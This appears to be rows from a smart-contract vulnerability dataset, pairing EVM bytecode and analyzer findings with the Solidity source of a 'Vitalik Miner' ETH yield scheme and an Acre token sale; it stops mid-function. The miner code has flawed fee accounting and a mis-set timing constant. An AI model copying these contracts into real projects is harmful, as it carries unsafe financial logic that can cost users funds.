25457600080fd5b50505060405180519050151561126957600080fd5b600160a060020a038083166000908152600b60205260409081902080548401600019019055908416907fb3f3e7375c0c0c4f7dd94069a5a4e68667827491318da786c818b8c7a794924e908490339051600160a060020a039283168152911660208201526040908101905180910390a2505050565b600f54600160a060020a031681565b60005433600160a060020a0390811691161461130857600080fd5b600160a060020a038116151561131d57600080fd5b600d8054600160a060020a031916600160a060020a0383161790557f847d0f7f2b16c8dd0b72c0606e65e8bf1b624633d37905b0e08145a295ab875881604051600160a060020a03909116815260200160405180910390a150565b600160a060020a0381166000908152600a6020526040812054906002821161139f57600080fd5b600160a060020a038084166000908152600a6020526040902060019055600d5416158015906113cf5750600e5415155b156115105750600e54612710600019830191820204908190116113f157600080fd5b8082039150600081111561151057600f54600160a060020a0384811660009081526008602052604080822054600d54948416946323b872dd9491821693911691869190516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561148857600080fd5b6102c65a03f1151561149957600080fd5b5050506040518051905015156114ae57600080fd5b600d54600160a060020a03808516917f540d888e67a7f36992e365be9fddab5e2fd60e27b220d330c18f04650fd562e09133911684604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a25b600f54600160a060020a0384811660009081526008602052604080822054938316936379cc6790931691600019870191516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561158857600080fd5b6102c65a03f1151561159957600080fd5b5050506040518051905015156115ae57600080fd5b600160a060020a0383166000818152600b6020526040908190208054848601016000199081019091557f2f8d2d194cbe1816411754a2fc9478a11f0707da481b11cff7c69791eb877ee191339186019051600160a060020a03909216825260208201526040908101905180910390a2505050565b600054600160a060020a031681565b601054600090819081908190819033600160a060020a0390811691161461165757600080fd5b6b204fce5e3e2502611000000088111561167057600080fd5b60115469d3c21bcecceda100000090111561168a57600080fd5b601154600160a060020a0388166000908152600760205260409020549089029450612710908502600160a060020a0388166000908152600960205260409020549190049350612710908402049150818310156116e557600080fd5b50808203600082111561177257600160a060020a038088166000908152600c60209081526040808320938a1683529290528190208054840190557f366bc34352215bf0bd3b527cfd6718605e1f5938777e42bcd8ed92f578368f529088908890859051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15b60008111156117de577ff838f6ddc89706878e3c3e698e9b5cbfbf2c0e3d3dcd0bd2e00f1ccf313e01858782604051600160a060020a03909216825260208201526040908101905180910390a1600160a060020a0387166000908152600a602052604090208054820190555b506001979650505050505050565b81548183558181151161181057600083815260209020611810918101908301611827565b505050565b60206040519081016040526000815290565b6107f191905b80821115611841576000815560010161182d565b50905600a165627a7a7230582015be014ad16039bbb2830705d08e9f872de48da3d78012f678d552466d74320a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
6,916
0xdfc9aa72a718c6dbfaeda7f7b9fee4a54556cce8
// SPDX-License-Identifier: Apache-2.0 /* Vitalik Miner - ETH Miner https://vitalikminer.io */ pragma solidity 0.8 .9; library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is chevitalikr than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; address public _marketing; address public _dev; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); _marketing = 0x44Bd34bcA36D76436a8c8A34141E666c623d5cfa; _dev = 0x3f89Fbda5dE8575b88f9144B9EB7c9CA6511A596; } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract VitalikMiner is Context, Ownable { using SafeMath for uint256; uint256 private vitaliks_TO_HATCH_1MINERS = 864000;//for final version should be seconds in a day uint256 private PSN = 10000; uint256 private PSNH = 5000; uint256 private devFeeVal = 3; uint256 private marketingFeeVal = 2; bool private initialized = false; address payable private recAdd; address payable private marketingAdd; address payable private devAdd; mapping (address => uint256) private vitalikMiners; mapping (address => uint256) private claimedvitalik; mapping (address => uint256) private lastHarvest; mapping (address => address) private referrals; uint256 private marketvitaliks; constructor() { recAdd = payable(msg.sender); marketingAdd = payable(_marketing); devAdd = payable(_dev); } function harvestvitaliks(address ref) public { require(initialized); if(ref == msg.sender) { ref = address(0); } if(referrals[msg.sender] == address(0) && referrals[msg.sender] != msg.sender) { referrals[msg.sender] = ref; } uint256 vitaliksUsed = getMyvitaliks(msg.sender); uint256 newMiners = SafeMath.div(vitaliksUsed,vitaliks_TO_HATCH_1MINERS); vitalikMiners[msg.sender] = SafeMath.add(vitalikMiners[msg.sender],newMiners); claimedvitalik[msg.sender] = 0; lastHarvest[msg.sender] = block.timestamp; //send referral vitaliks claimedvitalik[referrals[msg.sender]] = SafeMath.add(claimedvitalik[referrals[msg.sender]],SafeMath.div(SafeMath.mul(vitaliksUsed,15),100)); //boost market to nerf miners hoarding marketvitaliks=SafeMath.add(marketvitaliks,SafeMath.div(vitaliksUsed,5)); } function sellvitaliks() public { require(initialized); uint256 hasvitaliks = getMyvitaliks(msg.sender); uint256 vitalikValue = calculatevitalikSell(hasvitaliks); uint256 fee1 = devFee1(vitalikValue); uint256 fee2 = marketingFee(vitalikValue); uint256 fee3 = devFee2(vitalikValue); claimedvitalik[msg.sender] = 0; lastHarvest[msg.sender] = block.timestamp; marketvitaliks = SafeMath.add(marketvitaliks,hasvitaliks); recAdd.transfer(fee1); marketingAdd.transfer(fee2); devAdd.transfer(fee3); payable (msg.sender).transfer(SafeMath.sub(vitalikValue,fee1)); } function vitalikRewards(address adr) public view returns(uint256) { uint256 hasvitaliks = getMyvitaliks(adr); uint256 vitalikValue = calculatevitalikSell(hasvitaliks); return vitalikValue; } function buyvitaliks(address ref) public payable { require(initialized); uint256 vitaliksBought = calculatevitalikBuy(msg.value,SafeMath.sub(address(this).balance,msg.value)); vitaliksBought = SafeMath.sub(vitaliksBought,devFee1(vitaliksBought)); vitaliksBought = SafeMath.sub(vitaliksBought,marketingFee(vitaliksBought)); vitaliksBought = SafeMath.sub(vitaliksBought,devFee2(vitaliksBought)); uint256 fee1 = devFee1(msg.value); uint256 fee2 = marketingFee(msg.value); uint256 fee3 = devFee2(msg.value); recAdd.transfer(fee1); marketingAdd.transfer(fee2); devAdd.transfer(fee3); claimedvitalik[msg.sender] = SafeMath.add(claimedvitalik[msg.sender],vitaliksBought); harvestvitaliks(ref); } function calculateTrade(uint256 rt,uint256 rs, uint256 bs) private view returns(uint256) { return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt))); } function calculatevitalikSell(uint256 vitaliks) public view returns(uint256) { return calculateTrade(vitaliks,marketvitaliks,address(this).balance); } function calculatevitalikBuy(uint256 eth,uint256 contractBalance) public view returns(uint256) { return calculateTrade(eth,contractBalance,marketvitaliks); } function calculatevitalikBuySimple(uint256 eth) public view returns(uint256) { return calculatevitalikBuy(eth,address(this).balance); } function devFee1(uint256 amount) private view returns(uint256) { return SafeMath.div(SafeMath.mul(amount,devFeeVal),100); } function marketingFee(uint256 amount) private view returns(uint256) { return SafeMath.div(SafeMath.mul(amount,marketingFeeVal),100); } function devFee2(uint256 amount) private view returns(uint256) { return SafeMath.div(SafeMath.mul(amount,devFeeVal),100); } function openMines() public payable onlyOwner { require(marketvitaliks == 0); initialized = true; marketvitaliks = 86400000000; } function getBalance() public view returns(uint256) { return address(this).balance; } function getMyMiners(address adr) public view returns(uint256) { return vitalikMiners[adr]; } function getMyvitaliks(address adr) public view returns(uint256) { return SafeMath.add(claimedvitalik[adr],getvitaliksSinceLastHarvest(adr)); } function getvitaliksSinceLastHarvest(address adr) public view returns(uint256) { uint256 secondsPassed=min(vitaliks_TO_HATCH_1MINERS,SafeMath.sub(block.timestamp,lastHarvest[adr])); return SafeMath.mul(secondsPassed,vitalikMiners[adr]); } function min(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? a : b; } }
0x6080604052600436106100fe5760003560e01c806385df1baf11610095578063c4481e5d11610064578063c4481e5d14610285578063d8047fa8146102a5578063e138aecb146102b8578063e79ffa11146102d8578063f2fde38b146102f857600080fd5b806385df1baf1461022a5780638da5cb5b1461024a578063908aa26914610268578063bdc7c7671461027057600080fd5b806351752573116100d1578063517525731461019d5780635b5b2b5c146101bd57806362940cc4146101dd578063715018a61461021557600080fd5b806312065fe01461010357806339c4a8e81461012557806345762491146101475780634b634b0614610167575b600080fd5b34801561010f57600080fd5b50475b6040519081526020015b60405180910390f35b34801561013157600080fd5b50610145610140366004610aa3565b610318565b005b34801561015357600080fd5b50610112610162366004610acc565b61047f565b34801561017357600080fd5b50610112610182366004610aa3565b6001600160a01b03166000908152600b602052604090205490565b3480156101a957600080fd5b506101126101b8366004610aa3565b610494565b3480156101c957600080fd5b506101126101d8366004610aa3565b6104b6565b3480156101e957600080fd5b506001546101fd906001600160a01b031681565b6040516001600160a01b03909116815260200161011c565b34801561022157600080fd5b50610145610521565b34801561023657600080fd5b50610112610245366004610ae5565b61059e565b34801561025657600080fd5b506000546001600160a01b03166101fd565b6101456105ad565b34801561027c57600080fd5b506101456105fc565b34801561029157600080fd5b506101126102a0366004610acc565b61076f565b6101456102b3366004610aa3565b61077b565b3480156102c457600080fd5b506101126102d3366004610aa3565b6108e4565b3480156102e457600080fd5b506002546101fd906001600160a01b031681565b34801561030457600080fd5b50610145610313366004610aa3565b610905565b60085460ff1661032757600080fd5b6001600160a01b03811633141561033c575060005b336000908152600e60205260409020546001600160a01b03161580156103795750336000818152600e60205260409020546001600160a01b031614155b156103a757336000908152600e6020526040902080546001600160a01b0319166001600160a01b0383161790555b60006103b233610494565b905060006103c28260035461093b565b336000908152600b60205260409020549091506103df9082610947565b336000908152600b6020908152604080832093909355600c808252838320839055600d8252838320429055600e8252838320546001600160a01b031683529052205461043f9061043a61043385600f610953565b606461093b565b610947565b336000908152600e60209081526040808320546001600160a01b03168352600c909152902055600f546104779061043a84600561093b565b600f55505050565b600061048e82600f544761095f565b92915050565b6001600160a01b0381166000908152600c602052604081205461048e9061043a845b6000806104f36003546104ee42600d6000886001600160a01b03166001600160a01b031681526020019081526020016000205461099f565b6109ab565b6001600160a01b0384166000908152600b602052604090205490915061051a908290610953565b9392505050565b6000546001600160a01b031633146105545760405162461bcd60e51b815260040161054b90610b07565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061051a8383600f5461095f565b6000546001600160a01b031633146105d75760405162461bcd60e51b815260040161054b90610b07565b600f54156105e457600080fd5b6008805460ff1916600117905564141dd76000600f55565b60085460ff1661060b57600080fd5b600061061633610494565b905060006106238261047f565b90506000610630826109c1565b9050600061063d836109d2565b9050600061064a846109c1565b336000908152600c60209081526040808320839055600d9091529020429055600f549091506106799086610947565b600f556008546040516101009091046001600160a01b0316906108fc8515029085906000818181858888f193505050501580156106ba573d6000803e3d6000fd5b506009546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156106f5573d6000803e3d6000fd5b50600a546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610730573d6000803e3d6000fd5b50336108fc61073f868661099f565b6040518115909202916000818181858888f19350505050158015610767573d6000803e3d6000fd5b505050505050565b600061048e824761059e565b60085460ff1661078a57600080fd5b600061079a34610245473461099f565b90506107ae816107a9836109c1565b61099f565b90506107bd816107a9836109d2565b90506107cc816107a9836109c1565b905060006107d9346109c1565b905060006107e6346109d2565b905060006107f3346109c1565b60085460405191925061010090046001600160a01b0316906108fc8515029085906000818181858888f19350505050158015610833573d6000803e3d6000fd5b506009546040516001600160a01b039091169083156108fc029084906000818181858888f1935050505015801561086e573d6000803e3d6000fd5b50600a546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108a9573d6000803e3d6000fd5b50336000908152600c60205260409020546108c49085610947565b336000908152600c60205260409020556108dd85610318565b5050505050565b6000806108f083610494565b905060006108fd8261047f565b949350505050565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161054b90610b07565b610938816109e3565b50565b600061051a8284610b52565b600061051a8284610b74565b600061051a8284610b8c565b60006108fd61097060045484610953565b61099a60055461043a6109946109886004548a610953565b61043a6005548c610953565b8961093b565b61093b565b600061051a8284610bab565b60008183106109ba578161051a565b5090919050565b600061048e61043383600654610953565b600061048e61043383600754610953565b6001600160a01b038116610a485760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161054b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600060208284031215610ab557600080fd5b81356001600160a01b038116811461051a57600080fd5b600060208284031215610ade57600080fd5b5035919050565b60008060408385031215610af857600080fd5b50508035926020909101359150565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082610b6f57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115610b8757610b87610b3c565b500190565b6000816000190483118215151615610ba657610ba6610b3c565b500290565b600082821015610bbd57610bbd610b3c565b50039056fea26469706673582212206a00a374b879d1c5293442f9068650588bbd9547130c2680c37f9157afcdd48764736f6c63430008090033
{"success": true, "error": null, "results": {}}
6,917
0x9a3a05ac1fa589bb1d91375c4762ab4c8548239d
pragma solidity 0.4.20; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; assert(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { assert(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; assert(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { assert(b > 0); c = a / b; assert(a == b * c + a % b); } } contract AcreConfig { using SafeMath for uint; uint internal constant TIME_FACTOR = 1 days; // Ownable uint internal constant OWNERSHIP_DURATION_TIME = 7; // 7 days // MultiOwnable uint8 internal constant MULTI_OWNER_COUNT = 5; // 5 accounts, exclude master // Lockable uint internal constant LOCKUP_DURATION_TIME = 365; // 365 days // AcreToken string internal constant TOKEN_NAME = "Acre"; string internal constant TOKEN_SYMBOL = "ACRE"; uint8 internal constant TOKEN_DECIMALS = 18; uint internal constant INITIAL_SUPPLY = 1*1e8 * 10 ** uint(TOKEN_DECIMALS); // supply uint internal constant CAPITAL_SUPPLY = 31*1e6 * 10 ** uint(TOKEN_DECIMALS); // supply uint internal constant PRE_PAYMENT_SUPPLY = 19*1e6 * 10 ** uint(TOKEN_DECIMALS); // supply uint internal constant MAX_MINING_SUPPLY = 4*1e8 * 10 ** uint(TOKEN_DECIMALS); // supply // Sale uint internal constant MIN_ETHER = 1*1e17; // 0.1 ether uint internal constant EXCHANGE_RATE = 1000; // 1 eth = 1000 acre uint internal constant PRESALE_DURATION_TIME = 15; // 15 days uint internal constant CROWDSALE_DURATION_TIME = 23; // 23 days // helper function getDays(uint _time) internal pure returns(uint) { return SafeMath.div(_time, 1 days); } function getHours(uint _time) internal pure returns(uint) { return SafeMath.div(_time, 1 hours); } function getMinutes(uint _time) internal pure returns(uint) { return SafeMath.div(_time, 1 minutes); } } contract Ownable is AcreConfig { address public owner; address public reservedOwner; uint public ownershipDeadline; event ReserveOwnership(address indexed oldOwner, address indexed newOwner); event ConfirmOwnership(address indexed oldOwner, address indexed newOwner); event CancelOwnership(address indexed oldOwner, address indexed newOwner); modifier onlyOwner { require(msg.sender == owner); _; } function Ownable() public { owner = msg.sender; } function reserveOwnership(address newOwner) onlyOwner public returns (bool success) { require(newOwner != address(0)); ReserveOwnership(owner, newOwner); reservedOwner = newOwner; ownershipDeadline = SafeMath.add(now, SafeMath.mul(OWNERSHIP_DURATION_TIME, TIME_FACTOR)); return true; } function confirmOwnership() onlyOwner public returns (bool success) { require(reservedOwner != address(0)); require(now > ownershipDeadline); ConfirmOwnership(owner, reservedOwner); owner = reservedOwner; reservedOwner = address(0); return true; } function cancelOwnership() onlyOwner public returns (bool success) { require(reservedOwner != address(0)); CancelOwnership(owner, reservedOwner); reservedOwner = address(0); return true; } } contract MultiOwnable is Ownable { address[] public owners; event GrantOwners(address indexed owner); event RevokeOwners(address indexed owner); modifier onlyMutiOwners { require(isExistedOwner(msg.sender)); _; } modifier onlyManagers { require(isManageable(msg.sender)); _; } function MultiOwnable() public { owners.length = MULTI_OWNER_COUNT; } function grantOwners(address _owner) onlyOwner public returns (bool success) { require(!isExistedOwner(_owner)); require(isEmptyOwner()); owners[getEmptyIndex()] = _owner; GrantOwners(_owner); return true; } function revokeOwners(address _owner) onlyOwner public returns (bool success) { require(isExistedOwner(_owner)); owners[getOwnerIndex(_owner)] = address(0); RevokeOwners(_owner); return true; } // helper function isManageable(address _owner) internal constant returns (bool) { return isExistedOwner(_owner) || owner == _owner; } function isExistedOwner(address _owner) internal constant returns (bool) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == _owner) { return true; } } } function getOwnerIndex(address _owner) internal constant returns (uint) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == _owner) { return i; } } } function isEmptyOwner() internal constant returns (bool) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == address(0)) { return true; } } } function getEmptyIndex() internal constant returns (uint) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == address(0)) { return i; } } } } contract Pausable is MultiOwnable { bool public paused = false; event Pause(); event Unpause(); modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } modifier whenConditionalPassing() { if(!isManageable(msg.sender)) { require(!paused); } _; } function pause() onlyManagers whenNotPaused public returns (bool success) { paused = true; Pause(); return true; } function unpause() onlyManagers whenPaused public returns (bool success) { paused = false; Unpause(); return true; } } contract Lockable is Pausable { mapping (address => uint) public locked; event Lockup(address indexed target, uint startTime, uint deadline); function lockup(address _target) onlyOwner public returns (bool success) { require(!isManageable(_target)); locked[_target] = SafeMath.add(now, SafeMath.mul(LOCKUP_DURATION_TIME, TIME_FACTOR)); Lockup(_target, now, locked[_target]); return true; } // helper function isLockup(address _target) internal constant returns (bool) { if(now <= locked[_target]) return true; } } interface tokenRecipient { function receiveApproval(address _from, uint _value, address _token, bytes _extraData) external; } contract TokenERC20 { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint public totalSupply; mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; event ERC20Token(address indexed owner, string name, string symbol, uint8 decimals, uint supply); event Transfer(address indexed from, address indexed to, uint value); event TransferFrom(address indexed from, address indexed to, address indexed spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); function TokenERC20( string _tokenName, string _tokenSymbol, uint8 _tokenDecimals, uint _initialSupply ) public { name = _tokenName; symbol = _tokenSymbol; decimals = _tokenDecimals; totalSupply = _initialSupply; balanceOf[msg.sender] = totalSupply; ERC20Token(msg.sender, name, symbol, decimals, totalSupply); } function _transfer(address _from, address _to, uint _value) internal returns (bool success) { require(_to != address(0)); require(balanceOf[_from] >= _value); require(SafeMath.add(balanceOf[_to], _value) > balanceOf[_to]); uint previousBalances = SafeMath.add(balanceOf[_from], balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(_from, _to, _value); assert(SafeMath.add(balanceOf[_from], balanceOf[_to]) == previousBalances); return true; } function transfer(address _to, uint _value) public returns (bool success) { return _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); TransferFrom(_from, _to, msg.sender, _value); return true; } function approve(address _spender, uint _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } contract AcreToken is Lockable, TokenERC20 { string public version = '1.0'; address public companyCapital; address public prePayment; uint public totalMineSupply; mapping (address => bool) public frozenAccount; event FrozenAccount(address indexed target, bool frozen); event Burn(address indexed owner, uint value); event Mining(address indexed recipient, uint value); event WithdrawContractToken(address indexed owner, uint value); function AcreToken(address _companyCapital, address _prePayment) TokenERC20(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, INITIAL_SUPPLY) public { require(_companyCapital != address(0)); require(_prePayment != address(0)); companyCapital = _companyCapital; prePayment = _prePayment; transfer(companyCapital, CAPITAL_SUPPLY); transfer(prePayment, PRE_PAYMENT_SUPPLY); lockup(prePayment); pause(); } function _transfer(address _from, address _to, uint _value) whenConditionalPassing internal returns (bool success) { require(!frozenAccount[_from]); // freeze require(!frozenAccount[_to]); require(!isLockup(_from)); // lockup require(!isLockup(_to)); return super._transfer(_from, _to, _value); } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(!frozenAccount[msg.sender]); // freeze require(!isLockup(msg.sender)); // lockup return super.transferFrom(_from, _to, _value); } function freezeAccount(address _target) onlyManagers public returns (bool success) { require(!isManageable(_target)); require(!frozenAccount[_target]); frozenAccount[_target] = true; FrozenAccount(_target, true); return true; } function unfreezeAccount(address _target) onlyManagers public returns (bool success) { require(frozenAccount[_target]); frozenAccount[_target] = false; FrozenAccount(_target, false); return true; } function burn(uint _value) onlyManagers public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); return true; } function mining(address _recipient, uint _value) onlyManagers public returns (bool success) { require(_recipient != address(0)); require(!frozenAccount[_recipient]); // freeze require(!isLockup(_recipient)); // lockup require(SafeMath.add(totalMineSupply, _value) <= MAX_MINING_SUPPLY); balanceOf[_recipient] = balanceOf[_recipient].add(_value); totalSupply = totalSupply.add(_value); totalMineSupply = totalMineSupply.add(_value); Mining(_recipient, _value); return true; } function withdrawContractToken(uint _value) onlyManagers public returns (bool success) { _transfer(this, msg.sender, _value); WithdrawContractToken(msg.sender, _value); return true; } function getContractBalanceOf() public constant returns(uint blance) { blance = balanceOf[this]; } function getRemainingMineSupply() public constant returns(uint supply) { supply = MAX_MINING_SUPPLY - totalMineSupply; } function () public { revert(); } } contract AcreSale is MultiOwnable { uint public saleDeadline; uint public startSaleTime; uint public softCapToken; uint public hardCapToken; uint public soldToken; uint public receivedEther; address public sendEther; AcreToken public tokenReward; bool public fundingGoalReached = false; bool public saleOpened = false; Payment public kyc; Payment public refund; Payment public withdrawal; mapping(uint=>address) public indexedFunders; mapping(address => Order) public orders; uint public funderCount; event StartSale(uint softCapToken, uint hardCapToken, uint minEther, uint exchangeRate, uint startTime, uint deadline); event ReservedToken(address indexed funder, uint amount, uint token, uint bonusRate); event WithdrawFunder(address indexed funder, uint value); event WithdrawContractToken(address indexed owner, uint value); event CheckGoalReached(uint raisedAmount, uint raisedToken, bool reached); event CheckOrderstate(address indexed funder, eOrderstate oldState, eOrderstate newState); enum eOrderstate { NONE, KYC, REFUND } struct Order { eOrderstate state; uint paymentEther; uint reservedToken; bool withdrawn; } struct Payment { uint token; uint eth; uint count; } modifier afterSaleDeadline { require(now > saleDeadline); _; } function AcreSale( address _sendEther, uint _softCapToken, uint _hardCapToken, AcreToken _addressOfTokenUsedAsReward ) public { require(_sendEther != address(0)); require(_addressOfTokenUsedAsReward != address(0)); require(_softCapToken > 0 && _softCapToken <= _hardCapToken); sendEther = _sendEther; softCapToken = _softCapToken * 10 ** uint(TOKEN_DECIMALS); hardCapToken = _hardCapToken * 10 ** uint(TOKEN_DECIMALS); tokenReward = AcreToken(_addressOfTokenUsedAsReward); } function startSale(uint _durationTime) onlyManagers internal { require(softCapToken > 0 && softCapToken <= hardCapToken); require(hardCapToken > 0 && hardCapToken <= tokenReward.balanceOf(this)); require(_durationTime > 0); require(startSaleTime == 0); startSaleTime = now; saleDeadline = SafeMath.add(startSaleTime, SafeMath.mul(_durationTime, TIME_FACTOR)); saleOpened = true; StartSale(softCapToken, hardCapToken, MIN_ETHER, EXCHANGE_RATE, startSaleTime, saleDeadline); } // get function getRemainingSellingTime() public constant returns(uint remainingTime) { if(now <= saleDeadline) { remainingTime = getMinutes(SafeMath.sub(saleDeadline, now)); } } function getRemainingSellingToken() public constant returns(uint remainingToken) { remainingToken = SafeMath.sub(hardCapToken, soldToken); } function getSoftcapReached() public constant returns(bool reachedSoftcap) { reachedSoftcap = soldToken >= softCapToken; } function getContractBalanceOf() public constant returns(uint blance) { blance = tokenReward.balanceOf(this); } function getCurrentBonusRate() public constant returns(uint8 bonusRate); // check function checkGoalReached() onlyManagers afterSaleDeadline public { if(saleOpened) { if(getSoftcapReached()) { fundingGoalReached = true; } saleOpened = false; CheckGoalReached(receivedEther, soldToken, fundingGoalReached); } } function checkKYC(address _funder) onlyManagers afterSaleDeadline public { 